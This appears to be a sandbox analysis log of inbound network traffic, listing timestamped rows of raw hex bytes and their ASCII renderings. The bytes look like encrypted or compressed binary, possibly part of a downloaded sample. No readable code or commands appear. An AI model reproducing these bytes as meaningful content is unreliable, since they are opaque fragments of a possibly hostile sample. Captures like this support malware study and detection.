2022-08-31 12:30:51 UTC	5603	IN	Data Raw: fa cc c4 fc b2 40 0c 04 3d ad ad 10 1f 81 7a 0a 01 00 00 f2 0d ad ad 10 29 04 41 cc b0 10 65 70 ed da 37 05 00 39 44 6d 65 0e 93 28 ce 0e 00 e8 68 86 06 00 e8 88 74 14 00 eb 81 e9 7b fa 77 2c b1 ad 43 06 00 68 7c 16 02 00 6a 6b e9 23 c0 0b 00 8b 7b cb cc ae 00 56 8b 2d 57 01 00 a9 a9 ca 39 ac a0 10 ef ca b9 3c b0 10 f8 47 aa 05 00 59 a6 2f 55 45 b4 63 40 01 be 9c 72 06 00 59 00 a6 ea 1d 88 80 10 93 cd 4a fb 76 8f ed f3 4e be 53 b1 0a 00 59 b0 84 93 01 00 7c 7b fb 76 72 50 bf 55 b5 08 00 59 6a f3 80 1f 01 05 92 0b ce 0c 6a 66 64 f8 02 92 10 f8 36 cb 15 00 8b 72 72 79 79 d6 55 3b f3 80 c9 cc a1 61 73 83 79 35 2c 15 ad ad 10 1f 8b 41 c5 00 00 83 e6 99 fc 3b cb 84 71 86 7d fc 77 5b 8f 89 a9 81 10 95 45 b4 7c 5f 01 05 ac 2f 59 cc a1 67 fe 99 e4 0f 8b 12 96 00 Data Ascii: @=z)Aep79Dme(ht{w,Ch\|jk#{V-W9<GY/UEc@rYJvNSY\|{vrPUYjjfd6rryyU;asy5,A;q}w[E\|_/Yg
2022-08-31 12:30:51 UTC	5605	IN	Data Raw: 6b 6a 6a 6a e8 fe e9 00 00 7c 47 c8 cf 95 be 41 a9 00 00 8b 7b a6 be da 2c 1e 00 56 be a5 50 1d 00 56 be db 24 17 00 56 be df 2a 1d 00 56 be cf 3a 1d 00 56 be ff 0c 1b 00 56 be 9d 7a 0f 00 56 be 12 e0 1a 00 68 2d 5e 1b 10 f8 e2 0a 00 00 83 47 e0 87 ab a8 a0 10 4e 9d 95 a9 ca 25 b0 a0 10 9b be 09 bc 80 10 ef 29 53 45 b4 55 80 ad ac a0 10 93 7b 07 8b 63 47 af ca 25 b0 a0 10 ef 29 29 2f 55 45 b4 7c 83 0b 78 f9 01 00 eb f0 73 08 e1 81 10 ef ea 21 b4 80 10 95 45 b4 6e 72 38 d1 81 10 40 af ea 11 84 80 10 95 45 b4 7e f5 8b 50 2c f7 2f 59 cd 60 2c 83 cf 60 2c 56 9d a9 6a e8 7e 69 00 00 a6 9a 95 a9 ca 25 b0 a0 10 9b be 09 bc 80 10 ef 29 53 45 b4 55 80 ad ac a0 10 93 7b 07 8b 63 47 af ca 25 b0 a0 10 ef 29 29 2f 55 45 b4 7c 83 0b 7c fd 01 00 eb f0 73 08 e1 81 10 ef Data Ascii: kjjj\|GA{,VPV$V*V:VVzVh-^GN%)SEU{cG%))/UE\|xs!Enr8@E~P,/Y`,`,Vj~i%)SEU{cG%))/UE\|\|s
2022-08-31 12:30:51 UTC	5606	IN	Data Raw: b0 10 b3 2b 38 b0 10 f8 1c 0e 05 00 00 ca a5 20 b0 10 b3 2f 3c b0 10 f8 0c 1e 05 00 7c 47 d4 b3 33 20 b0 10 f8 d9 21 10 00 85 45 b4 11 0d 57 21 1e 10 ef ca b1 34 b0 10 f8 c7 d4 04 00 a6 a6 2f 53 7b 07 5c af ac a0 10 64 3c 20 7c 16 02 00 6a 6b e9 fc 15 01 00 8b 7b 75 73 af 00 2d 40 62 a9 ca 39 ac a0 10 ef ca b9 3c b0 10 f8 14 06 05 00 a6 a6 2f 55 45 b4 6f 71 6a 56 be 28 3b 04 00 a6 00 a6 ea 1d 88 80 10 93 cd 4a fb 76 8f 35 f3 80 ab ec ef 83 90 04 00 cc f3 9e 01 9c a9 66 64 70 8b 93 10 f8 d7 34 0b 00 8b fe 7d 8d 73 82 01 f6 be 95 11 b9 10 13 76 36 29 6e ec f9 00 11 00 59 da e6 99 fc 56 be 5d 97 22 00 59 d0 cc a1 61 45 b4 7d 5f 06 b8 39 f3 22 00 59 00 9e 82 b9 02 01 00 00 17 e3 0b 00 00 83 fe 99 e4 75 42 c8 8a 7d e3 e1 60 6e ec 17 f0 0f 00 59 9a 95 3c 6a ff Data Ascii: +8 /<\|G3 !EW!4/S{\d< \|jk{us-@b9</UEoqjV(;Jv5fdp4}sv6)nYV]"YaE}_9"YuB}`nY<j
2022-08-31 12:30:51 UTC	5608	IN	Data Raw: 76 94 7d d0 b0 10 93 4b 37 14 0f b1 de 67 bd da c6 5d 43 60 f3 f9 7c 4d 5e df 8e 8c 79 79 de 59 cb c6 00 01 00 00 74 7d 82 d6 55 8b c6 4d 0c 8d 9a 9a cc b9 7c be 1c 57 65 23 f3 f9 7c b9 4f 91 2d 9b 54 86 cf cc b9 17 d7 c3 f8 82 57 a6 7c 82 8c 8e 8a 40 cb dc 59 86 94 11 b9 75 93 16 ae e7 21 2e 00 85 45 99 2d 67 ec f8 84 fe 71 0c 74 7e 81 c6 41 86 8c f9 ba 49 84 89 47 c2 5f 50 de 59 87 c6 5d 64 46 b1 fe 81 fc 75 dc 29 7b db 54 71 85 7b f2 7c ea 1a 57 a6 70 c2 84 bd ff 83 e6 99 fc 80 be 3e 0f 8b 6d e9 00 00 8a 8c 3a 1c 54 70 38 35 7c 73 40 ad 18 bd a5 08 63 be 3e 0f 8b 54 d0 00 00 83 fe 75 08 74 7d 82 ce 4d 8b c6 4d 0c 8d 99 ef fe 32 e8 98 70 fa 22 e9 44 07 c1 be 62 28 8d 79 be 1c 57 53 d0 37 c0 74 6a 9c fe 81 fc 74 78 81 cb 47 81 b8 1a 57 71 8f 7b 1b e6 3e Data Ascii: v}K7g]C`\|M^yyYt}UM\|We#\|O-TW\|@Yu!.E-gqt~AIG_PY]dFu){Tq{\|Wp>m:Tp85\|s@c>Tut}MM2p"Db(yWS7tjtxGWq{>
2022-08-31 12:30:51 UTC	5609	IN	Data Raw: 7e 81 d3 50 8d 5e 52 d4 a1 89 7b f1 8a 79 f3 ea 3d a8 80 10 f9 12 fb 00 00 83 78 fe 70 79 8f e3 68 08 33 f3 80 a9 03 ea 00 00 83 78 fa 0e 8b 5a de 00 00 8b c5 2e e9 c4 b5 73 c6 41 85 c7 2e eb c3 4c 87 7a f1 07 8a 3d b8 00 00 8b 86 b5 18 a0 10 9b b6 81 1c a0 10 9b 5a d2 fa c2 ec aa 59 4f a2 c5 87 f5 22 df e7 5d 31 08 8b b6 85 18 a0 10 9b 96 a1 1c a0 10 52 41 dc 5c 42 cd 37 e8 af 9e 69 d6 a1 77 8b 3d b3 8e 00 c0 4b f5 1a 11 7c ce 81 22 e7 83 00 00 eb b5 63 ad 90 00 c0 b5 7c ce 81 22 e5 81 00 00 eb a5 73 ac 91 00 c0 b5 7c ce 81 22 e0 84 00 00 eb d5 03 ae 93 00 c0 b5 7c ce 81 22 e1 85 00 00 eb c5 13 b0 8d 00 c0 b5 7c ce 81 22 e6 82 00 00 eb f5 23 b2 8f 00 c0 b5 7c ce 81 22 e2 86 00 00 eb e5 33 af 92 00 c0 b5 72 c0 81 22 ee 8a 00 00 ff 89 12 0e 62 f7 2c 8a d0 Data Ascii: ~P^R{y=xpyh3xZ.sA.Lz=ZYO"]1RA\B7iw=K\|"c\|"s\|"\|"\|"#\|"3r"b,
2022-08-31 12:30:51 UTC	5610	IN	Data Raw: de 37 fd 22 00 59 09 af c9 63 aa ea bd 28 80 10 4d 02 01 05 02 9a a9 69 eb dc 1f 2b 00 83 7b f9 58 2d 61 7f 69 eb cf 0c 2b 00 85 45 99 2c 6a 9c be 2d bd ad 10 11 74 63 7e 94 fc 00 00 e8 dc ca 01 00 97 97 ff 00 00 e8 c2 d4 01 00 a6 00 9a 95 01 64 c5 49 7f 74 b4 10 93 bf c9 71 25 a1 10 11 74 6b 93 89 f1 75 21 a1 10 99 b1 50 c8 af 0f 00 ff cf b3 44 df f0 42 ad 07 00 85 45 99 00 2d 78 4a c5 7d da 58 ae e1 f3 80 1f 01 9d 40 a7 d1 75 21 a1 10 10 33 f3 2b 1a a2 d8 96 6d f0 80 10 46 e8 3e 21 a1 10 47 dc b5 bb 7a 8b 67 90 fd 7a 05 75 79 5a a8 2c 84 bf 3e 39 10 00 7c a5 26 59 da 45 ce 89 7f 5e 02 a2 10 6c a0 62 3e 21 a1 10 4f d4 8d 83 45 b4 7d 8a fd 7a 05 74 76 53 af 2c 50 45 ce 89 7f 5e 02 a2 10 6c 9a b8 05 98 96 de 67 67 ce 4d f7 cb f1 45 21 a1 10 ef ea b9 2c 80 Data Ascii: 7"Yc(Mi+{X-ai+E,j-tc~dItq%tku!PDBE-xJ}X@u!3+mF>!GzgzuyZ,>9\|&YE^lb>!OE}ztvS,PE^lggME!,
2022-08-31 12:30:51 UTC	5612	IN	Data Raw: 23 e9 92 02 ba 7a 6d 00 00 a6 00 dc 45 b4 5f a0 cb 64 e5 29 f7 e8 27 53 63 e1 c6 82 b9 02 01 00 00 14 cb ab ce a9 67 8b 8b 8b 33 fa f4 38 05 00 c0 cf 9b 55 4a 4a 02 48 ee 8d 2f 82 b9 02 01 00 00 cc f3 28 68 76 09 00 3c a9 62 60 d0 2b 93 10 f8 c6 d8 09 00 17 50 5f 18 00 74 cb 38 fd 45 b4 62 95 e6 99 fc ff 2f 3b ec 34 f3 80 83 48 ee 8d 2f 82 b9 02 01 00 00 17 1d d3 26 00 e8 af b1 09 00 3c ab 36 68 36 10 f8 f8 f5 1a 00 a6 fa b7 a2 b6 10 d3 48 cf 60 20 a7 bb ae b6 10 b3 bf aa b6 10 b3 83 96 b6 10 b3 87 92 b6 10 d3 48 cf 60 20 8f 86 c9 64 a0 10 46 6f 69 54 70 64 9b 7a 9a 9d fa 0f 77 50 2c 8b 43 cc 37 fd b4 99 80 a2 c5 0f 4f 68 2c 56 65 fa b2 76 3c 69 54 70 76 31 f3 03 3c ca 15 96 b6 10 f8 f5 f8 1a 00 a6 9a a9 4a 48 b0 4b 93 10 f8 62 7f 0a 00 cc cc 76 f4 99 6d Data Ascii: #zmE_d)'Scg38UJJH/(hv<b`+P_t8Eb/;4H/&<6h6H` H` dFoiTpdzwP,C7Oh,Vev<iTpv1<JHKbvm
2022-08-31 12:30:51 UTC	5613	IN	Data Raw: 54 f8 87 fc 74 7e 81 c8 47 81 45 b4 77 53 af 28 54 40 d3 5d 38 ad 53 0d 52 d4 00 00 05 b1 b4 00 00 50 af 28 88 01 03 06 98 95 dd ff 50 2c 8d 73 82 0b 2c 06 02 dc b6 65 d8 80 10 46 a9 28 5c 0d 36 b0 00 00 85 45 b4 77 53 af 28 5c 0d 3e b8 00 00 85 45 b4 77 53 af 28 5c 0d 32 b4 00 00 85 45 b4 77 53 af 28 5c 0d 46 c0 00 00 85 45 b4 77 53 af 28 bd 6c 8b d3 0e 0d dc fa 83 b8 e4 a4 10 64 7d 82 88 86 45 b4 77 53 af 28 54 f8 87 fc 74 7e 81 c8 47 81 45 b4 77 53 af 28 54 40 d3 5d 38 ad 53 0d 52 d4 00 00 05 b1 b4 00 00 50 af 28 88 02 06 d0 4d 98 9d 46 7a 8b 43 b2 45 b4 47 65 dd bb 0b cc 83 5c 7f de b1 d0 3f 29 01 00 7a 73 af 2d 6f 4d be ba ad 00 00 7c bd 3e 59 2c 7a 8e 7f b6 ec a4 10 64 73 51 be 90 85 02 00 a6 d2 4c 99 9d f0 f3 03 a9 66 64 70 8c 94 10 f8 c3 db 0f 00 Data Ascii: Tt~GEwS(T@]8SRP(P,s,eF(\6EwS(\>EwS(\2EwS(\FEwS(ld}EwS(Tt~GEwS(T@]8SRP(MFzCEGe\?)zs-oM\|>Y,zdsQLfdp
2022-08-31 12:30:51 UTC	5614	IN	Data Raw: 64 13 98 ba a1 67 43 f0 0d cd f0 00 00 72 99 66 c8 ad b8 07 a8 ea a9 3c 80 10 95 45 cf 8b ad 28 01 00 68 69 00 01 00 8d ce 5f 4a 06 b8 80 73 1b 00 33 e1 90 c1 47 c8 35 6c bd 61 f2 7f 8d fa 7f 03 89 7e f8 00 00 80 fd 93 ee 0f 8b 4b cf 00 00 8d f8 9a 65 84 8a 4d c6 8b 46 c2 00 00 0f b9 f0 b9 f0 b9 7f 20 4f a6 00 00 68 69 00 01 00 8d ce 5f 4a 06 b8 c9 3a 1b 00 8b c6 a9 67 47 c8 67 a2 f9 b9 fc 95 6d 3c c1 d9 a9 10 99 fc 91 0f c1 a0 cc 47 85 44 b4 5c 27 b9 88 31 b9 76 2b f9 99 ce a5 6a 0a dc f5 a9 10 18 4c 7f 26 12 b9 f0 47 46 7c c3 8e 9c 61 f6 75 4e 00 c6 be 3e 75 a4 5a fe 91 1b ba a5 63 45 ce 8b fe 9d e4 8d fc 91 96 9b 62 4c 4e f2 7f c3 84 4b 09 01 00 00 e8 c7 d4 04 00 95 6c 8f ca 4f 81 ce 53 9d 04 ed cd a9 10 4a 3c ed ba 70 27 ef b9 71 01 00 0a 3f 86 78 78 Data Ascii: dgCrf<E(hi_Js3G5la~KeMF Ohi_J:gGgm<GD\'1v+jL&GF\|auN>uZcEbLNKlOSJ<p'q?xx
2022-08-31 12:30:51 UTC	5616	IN	Data Raw: 00 80 53 38 60 c6 45 01 10 a2 bb 00 00 80 0b 41 19 38 66 c9 fc fc 4d 11 f3 c2 a9 fd 72 0f 75 65 9d c7 aa 5b bb 00 00 80 53 38 60 c6 45 01 50 5d 89 c7 aa 5a ba 00 00 80 53 39 67 09 3c 7c c4 00 00 09 19 9b ce b9 75 8f 8f cd 74 cc 77 ce b5 0f f7 07 8a 76 f3 00 00 a1 25 32 b6 10 95 45 cf 8b 5c d8 00 00 8b 86 91 25 b9 10 9b be a1 14 80 10 78 68 40 40 00 c1 20 ee 0c 4b 44 b7 bb 80 80 00 53 02 ae 29 5d 86 91 25 b9 10 b1 25 32 b6 10 aa ba 00 00 80 53 39 e3 59 58 a9 25 32 b6 10 9b cb 50 9b 86 91 25 b9 10 93 27 2c 4c c4 00 00 00 a1 25 32 b6 10 9b cb 50 ee b6 0b e2 25 32 b6 10 9b c3 58 90 f9 3a 43 75 7c 8a e3 64 fa 5f 25 32 b6 10 93 fb 70 f7 8a 10 36 39 6a ff 8f 7c f3 29 77 25 32 b6 10 ef 8f 60 7a 6a ff ca 91 15 b1 10 ef ea 05 90 80 10 9b 86 85 31 b9 10 b1 25 32 b6 Data Ascii: S8`EA8fMrue[S8`EP]ZS9g<\|utwv%2E\%xh@@ KDS)]%%2S9YX%2P%',L%2P%2X:Cu\|d_%2p69j\|)w%2`zj1%2
2022-08-31 12:30:51 UTC	5617	IN	Data Raw: 69 55 61 d5 c6 b9 79 81 fd 7a f2 7d 8d c2 43 81 f2 7f 8d d0 5d 8f c0 4f 8d d0 51 83 c0 4f 3f 70 43 7d 22 dd c6 4a 02 8c c5 42 f1 3f 42 7d de a8 c4 4a 02 77 6f 9c fd 72 0f 75 7b 85 45 71 bf 00 00 80 53 3c 64 c6 45 01 30 b4 c9 d4 d4 cf 45 25 cb a0 fd 72 0f 75 65 9d c3 ae 5f bf 00 00 80 53 3c 64 c6 45 01 70 7d 89 09 14 54 c4 00 00 8d c3 ae 5a ba 00 00 80 53 39 e3 19 9b ce 55 99 8a 8a cd 5c e4 cf f3 80 1f 01 05 92 0a 96 de 67 6f 6f f8 b5 29 31 b9 10 9b c6 45 63 ab d4 17 06 89 35 b9 10 93 42 d6 94 62 11 79 c4 bd 31 38 fd 57 1a ca 7a d9 76 01 2a 76 88 4d 31 2c 3d 6d ce b5 07 14 e6 8e 42 21 63 49 35 cc c5 25 39 63 dc ad 73 86 99 2d b9 10 9b 52 32 fa 9a d8 57 8f b0 18 76 ad db dd f5 dc a2 7f 89 40 d7 2f e3 51 d4 55 7a 9a d3 e3 ad 0a f4 96 91 35 b9 10 fb fa 9a d8 Data Ascii: iUayz}C]OQO?pC}"JB?B}Jworu{EqS<dE0E%rue_S<dEp}TZS9U\goo)1Ec5Bby18Wzv*vM1,=mB!cI5%9cs-R2Wv@/QUz5
2022-08-31 12:30:51 UTC	5618	IN	Data Raw: dc 45 cf 8a f7 8d 00 00 74 ce 55 2b fc c8 8b d4 af 00 00 38 c7 0c 0c 00 00 e9 ac ba 00 00 cc cc 74 fe 79 66 6e ec 45 4d 1f 00 a6 9a f8 e4 aa 78 86 ce 55 2b fc b3 72 c1 c7 0c 0c 00 00 8b 48 2b 2f 1c 24 00 3c a9 7a 78 d0 2c 94 10 f8 9d ae 24 00 74 d6 55 8d 5e ae 7b f1 8a 79 e4 ec fa 01 00 a6 b0 25 cd 01 00 8b fe 79 89 73 83 79 5f bb e0 d8 2f 00 a6 b0 5e b6 01 00 83 be 95 11 b9 10 13 0c 8a 16 92 01 00 33 cc 76 f4 99 67 7d 1e ef 88 0d 8b 01 00 6a 6e ec fc f5 1e 00 a6 d0 f4 81 af bb 51 4b 0d 00 a6 d0 cc a5 db fc c8 8b 1a 9e 00 00 3b 0e a5 29 b9 10 67 3e 1f 05 03 b8 7a 65 08 00 7c 47 c8 89 45 b4 71 8c d4 b9 0f de 63 be b7 a5 05 00 a6 d0 cc a1 df fc b3 53 ac c8 bf b4 73 fd b4 70 89 4d 96 03 ac 8a 91 0c 27 cd 02 00 53 bb 81 9b 0d 00 76 cc a5 b3 03 b8 62 78 0d 00 Data Ascii: EtU+8tyfnEMxU+rH+/$<zx,$tU^{y%ysy_/^3vg}jnQK;)g>ze\|GEqcSspM'Svbx
2022-08-31 12:30:51 UTC	5620	IN	Data Raw: 8f 8d cc 47 89 cf 46 8a ce 4d 56 01 96 0a 4e c4 49 8a 8c 8e 8f 8d cc 47 89 cf 46 8b cc 44 8a cf 45 89 ce 4d 56 01 96 0a 53 1d f9 45 cd 71 f1 45 c5 0b 30 c4 03 00 00 75 51 e5 28 eb 81 61 e1 80 7a f1 7a 7f f0 0e 56 59 03 db b1 35 f7 57 10 9b 74 08 2e 26 db a9 dd 07 57 10 9d c4 49 8b 4c 7d b9 03 00 00 83 7a fd 76 7e 8f 63 e3 28 e3 37 db a1 21 f2 56 10 ef db a9 2d f7 57 10 80 24 e2 56 10 c8 8e 56 10 10 57 57 10 9a cc 45 20 f2 59 cf 44 80 6d ef c0 28 eb 81 6c ee 82 7a f1 7a c0 4f 0e 56 59 03 db b1 35 f7 57 10 9d c4 49 8a cc 45 20 f2 59 cf 44 89 cc 44 c3 28 eb 8a cf 45 81 6d ec 81 6c ed 81 7a f1 7a fa 75 0e 56 59 03 db b1 35 f7 57 10 80 1a cc 45 20 f2 59 cf 44 89 cc 44 8a cf 45 88 cc 47 c0 28 eb 8a cf 46 82 6d ed 80 6c ec 80 7a f1 07 8d d4 a9 00 00 02 0e 56 59 Data Ascii: GFMVNIGFDEMVSEqE0uQ(azzVY5Wt.&WIL}zv~c(7!V-W$VVWWE YDm(lzzOVY5WIE YDD(EmlzzuVY5WE YDDEG(FmlzVY
2022-08-31 12:30:51 UTC	5621	IN	Data Raw: 6c f3 65 55 27 00 95 7c 48 d7 b9 63 00 00 00 00 bb f7 c7 27 00 7c 47 d0 9f 4d 2d 3e ec 64 49 61 71 8c 96 f5 21 41 de 45 2b e8 a6 71 8c 96 f5 3a 52 fe 69 eb 74 4d b3 7a 85 80 82 80 48 02 78 f1 bf 6a 51 3a 86 18 f2 93 80 82 80 48 02 78 f1 bf 7c 47 3b 71 fa b2 59 61 9b d7 64 49 61 77 8a 90 23 c0 8e fe 08 fe 69 eb 8a 7a 84 ce 49 66 3a d8 d4 5a f9 a7 b1 91 87 00 00 77 96 f6 fb cb 27 00 95 48 7b d0 81 83 7a 1a 69 09 c7 68 20 52 65 c5 cd f5 b2 62 9d 7a fb 7c 72 8f 7a fa 76 61 b5 ad a1 ad 10 4e 9d 62 ad a1 ad 10 99 84 01 a1 ad 10 4e 9d 2b 34 0b 28 00 a9 00 00 00 00 91 c7 16 16 00 00 e8 85 ba 28 00 7c 47 d0 97 4b 37 a1 9d 0f 00 00 00 00 00 00 00 00 00 00 00 00 47 df 70 28 87 c7 68 20 81 57 a6 1d 5a f3 4a ce 60 2c 8c 44 b5 63 97 7b fa 01 01 00 72 7c 8d be b9 3d b9 Data Ascii: leU'\|Hc'\|GM->dIaq!AE+q:RitMzHxjQ:Hx\|G;qYadIaw#izIf:Zw'H{zih Rebz\|rzvaNbN+4((\|GK7Gp(h WZJ`,Dc{r\|=
2022-08-31 12:30:51 UTC	5622	IN	Data Raw: 0e 71 ef ab 10 64 73 51 be 8b a3 3f 00 a6 07 9d 0f 00 00 99 de 67 ba 65 f3 90 00 00 00 00 00 00 00 db de 59 81 c4 49 8a 88 08 ca b4 7d 8a 41 c3 0e a4 af 20 cf 1a 7a fe 7d 8b 4a 36 72 c4 49 83 42 c0 8b 8c 0c ca b4 7d 8a 45 c7 0e ac a7 20 57 9d 65 4a 42 47 e4 7e 97 0a 0f 00 00 00 00 00 00 00 00 00 47 df 70 20 8f c7 68 2c ff 35 c1 03 00 00 75 49 b7 89 38 3b 74 5b 24 ca b4 52 1c 5b 60 74 50 2f ee 90 69 dc 29 f8 2a 7b 43 77 6c 13 ca b4 65 2b 5b 62 76 65 93 42 c5 87 41 c6 0e ee 91 a7 59 74 cc f3 03 53 8b db 11 31 63 43 c1 c2 34 35 c3 01 00 00 74 6c 92 88 81 41 c3 3b 3b 74 92 64 42 c0 0b ca b4 a8 2b 35 c0 02 00 00 74 d0 c2 ed 89 81 41 c0 38 3b 74 bb c4 ca b4 b2 fc 5b 60 74 b0 cf ee 90 c9 3e 42 c3 e9 63 dd de 67 bd 00 f0 a1 a0 a0 10 23 f6 4c cc b9 5d 01 16 b6 10 Data Ascii: qdsQ?geYI}A z}J6rIB}E WeJBG~Gp h,5uI8;t[$R[`tP/i)*{Cwle+[bveBAYtS1cC45tlA;;tdB+5tA8;t[`t>Bcg#L]
2022-08-31 12:30:51 UTC	5623	IN	Data Raw: 00 83 45 ce e3 f1 4a b8 81 80 16 00 c4 f8 9a 2d 7d ce c7 dd 00 dd 00 83 43 c8 83 7b 1b e9 31 c5 cd c8 87 35 be 8a 8d ae 01 a8 8a 81 0b 8a 79 f3 8a 7d f7 ea f9 6c 80 10 95 45 b4 56 1b 64 41 4f 00 26 71 57 00 b8 ed f9 8a 69 e3 8a 6d e7 8a 8d ae 05 ac 8a 55 df ea 91 04 80 10 99 cc bd ae be bc ac 07 00 a6 a6 8a 81 1c a3 b3 07 00 74 ce bd a1 b0 b0 58 01 00 39 64 55 81 d4 a9 7d d4 ad 85 7d 83 8d 8d cb 54 9d cc 4d 31 64 7d 55 7d 83 8d 8d cb 44 8d cc 65 df 8a 7d e0 2c cd 09 00 83 7b 07 a6 d0 cc a9 99 72 34 f3 29 c8 20 01 00 3b 7e 65 2f 8b 5f db 00 00 53 00 de c0 59 45 ae 8a 65 40 af 8a 55 c8 08 e9 09 00 83 47 dc 23 f8 4a cc b1 80 a0 5f be dd 68 80 10 43 00 ac 8a 61 44 af 8a 79 f3 8a 7d f7 29 ed f8 4a cc bd 8d 72 34 c5 1f 5e b7 00 00 7e 43 be 7b 18 97 4f bb 43 c8 Data Ascii: EJ-}C{15y}lEVdAO&qWimUtX9dU}}TM1d}U}De},{r4) ;~e/_SYEe@UG#J_hCaDy})Jr4^~C{OC
2022-08-31 12:30:51 UTC	5625	IN	Data Raw: 45 8b cf 44 88 ce 4d 56 01 96 0a 4e c4 49 8a cc 45 8b cf 44 89 cc 44 8a cf 45 89 ce 4d 56 01 96 0a 53 1a cc 45 8b cf 44 89 cc 44 8a cf 45 88 cc 47 89 cf 46 8a ce 4d 56 01 96 0a 96 de 67 6f 6f e4 81 f4 81 75 fc 8d 73 fe 79 87 f6 75 83 c6 5d d1 28 ee ec ed 8b 16 9b 00 00 00 66 69 60 69 60 69 60 21 5e 76 69 60 39 76 46 69 60 31 6e 56 69 70 78 61 69 70 30 5f 76 69 70 28 77 46 69 70 20 6f 56 69 60 09 26 26 69 60 01 3e 36 69 60 19 16 06 69 60 11 0e 16 69 70 18 27 26 69 70 10 3f 36 69 70 08 17 06 69 70 00 0f fd 3b 36 80 00 00 8d 32 3f 80 00 00 49 3c d6 28 fe 8d 73 f6 81 77 6e b8 9e 96 de 67 6f 6f f0 95 f4 89 7d fc 8d 71 d4 a1 77 d6 51 87 48 5a 12 43 43 ce 4d 3b f9 e1 e1 49 62 ee 3c f9 e1 e1 53 12 73 cb c9 d1 d1 79 64 e8 3c c9 d1 d1 71 5a da dc a2 3f c1 fe 65 9b Data Ascii: EDMVNIEDDEMVSEDDEGFMVgoousyu](fi`i`i`!^vi`9vFi`1nVipxaip0_vip(wFip oVi`&&i`>6i`i`ip'&ip?6ipip;62?I<(swngoo}qwQHZCCM;Ib<Ssyd<qZ?e
2022-08-31 12:30:51 UTC	5626	IN	Data Raw: a0 10 23 f6 4c cc b9 77 ce 55 9b c6 55 91 cc 9d 53 ce 51 47 da cc 95 5b 8b 56 df cc 99 57 ce 4d 5f 64 cc c4 7e 49 85 c4 81 45 f4 9d 69 f4 a9 db 8b db 5e 01 00 8b be 89 3c 80 10 9d c0 a5 b9 01 af 29 53 45 4b 96 c5 58 80 10 64 2a dd fe 95 e9 74 2d d5 c8 ad b8 af 8a 79 f3 29 53 45 b4 3f c8 fe 95 e9 74 30 ce fe a9 5f 7d 01 38 82 91 d5 01 00 00 75 79 f3 8a ad 30 59 53 1d 00 74 7b a9 1f 7d cc 89 25 da 7f 0e 0f 00 80 08 24 de c9 72 3e 35 3d 04 04 00 77 58 c7 49 5f 01 00 74 4f ff fc b3 4c ff c7 cc 00 cc 00 eb c6 7a 00 a8 8a a9 23 8a ad b2 6b fe 8a 7d f7 2c 58 7b cb cc 82 b6 f0 f3 29 38 d1 00 00 50 b8 1f 2a 22 00 c4 fc 9e 2d 7d ce c7 dd 00 dd 00 83 43 c8 81 cc a1 0f e8 8a f4 99 dd 44 99 90 ac 55 89 32 66 07 a8 8a 91 0c 11 13 15 00 7c 47 c8 5a a9 8a 91 1b 8a a9 23 Data Ascii: #LwUUSQG[VWM_d~IEi^<)SEKXdt-y)SE?t0_}8uy0YSt{}%$r>5=wXI_tOLz#k},X{)8P"-}CDU2f\|GZ#
2022-08-31 12:30:51 UTC	5627	IN	Data Raw: 00 00 00 00 9a dd cf 60 30 1f cb b5 5d a3 c7 68 34 9b cf 60 28 3f e1 25 06 7a 53 53 cf 60 2c ff 06 7a 7b 7b 48 34 93 40 34 9b 43 43 4d 31 93 40 34 13 d2 3a ac cc 43 43 d7 78 34 9b df 70 28 87 cf 60 2c d9 38 38 0a 0a 3b 3b 09 d3 c2 bc 81 03 04 78 7b 07 93 40 30 9f 43 43 cf 60 34 e7 11 e5 d2 a3 7c 35 6f 70 28 7b 7f 7a 7d 34 7f 60 2c 7e 7f 47 65 6f 60 34 0b 4f 70 30 27 e8 f0 6f 60 2c 13 4f 70 28 fb 2d 2d 2f 5b 59 da 8b 41 41 58 58 52 52 43 43 4d 98 9c d2 10 cc 00 00 00 00 00 00 00 00 00 00 47 cf 60 2c 83 c7 68 34 1b c3 43 c7 68 28 79 7c 82 cf 60 20 f3 16 23 d2 10 53 a4 16 6a 53 53 cf 60 2c ff 93 40 30 17 db 53 cf 60 2c ff 16 e2 d0 88 99 d2 10 cc 00 00 00 00 00 00 00 00 00 00 00 41 cf bd a4 98 4e 29 80 24 00 00 00 8d e9 40 24 33 f3 4a ce 60 2c 5b d8 53 19 21 Data Ascii: `0]h4`(?%zSS`,z{{H4@4CCM1@4:CCx4p(`,88;;x{@0CC`4\|5op({z}4`,~Geo`4Op0'o`,Op(--/[YAAXXRRCCMG`,h4Ch(y\|` #SjSS`,@0S`,AN)$@$3J`,[S!
2022-08-31 12:30:51 UTC	5629	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 12:30:51 UTC	5630	IN	Data Raw: 98 00 86 1e 98 00 a0 38 98 00 b6 2e 98 00 d0 48 98 00 de 46 98 00 ec 74 98 00 fa 62 98 00 14 8d 99 00 24 bd 99 00 3a a3 99 00 54 cd 99 00 60 f9 99 00 78 e1 99 00 90 09 99 00 a0 39 99 00 bc 25 99 00 c8 51 99 00 d2 4b 99 00 de 47 99 00 ee 77 99 00 fc 65 99 00 08 92 9a 00 14 8e 9a 00 2a b0 9a 00 3c a6 9a 00 4e d4 9a 00 60 fa 9a 00 70 ea 9a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d7 e3 34 10 da 89 43 10 af d3 6c 10 dc be 72 10 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 b5 ad 10 60 dd ad 10 53 2c 1d 37 3d 11 1d 24 22 1d 0c 06 16 00 73 00 6d 1e 10 0c 1d 17 00 4b 4a 08 00 6c 45 2b 0d 0c 0b 01 35 3f 06 07 1a 11 17 72 00 00 4b 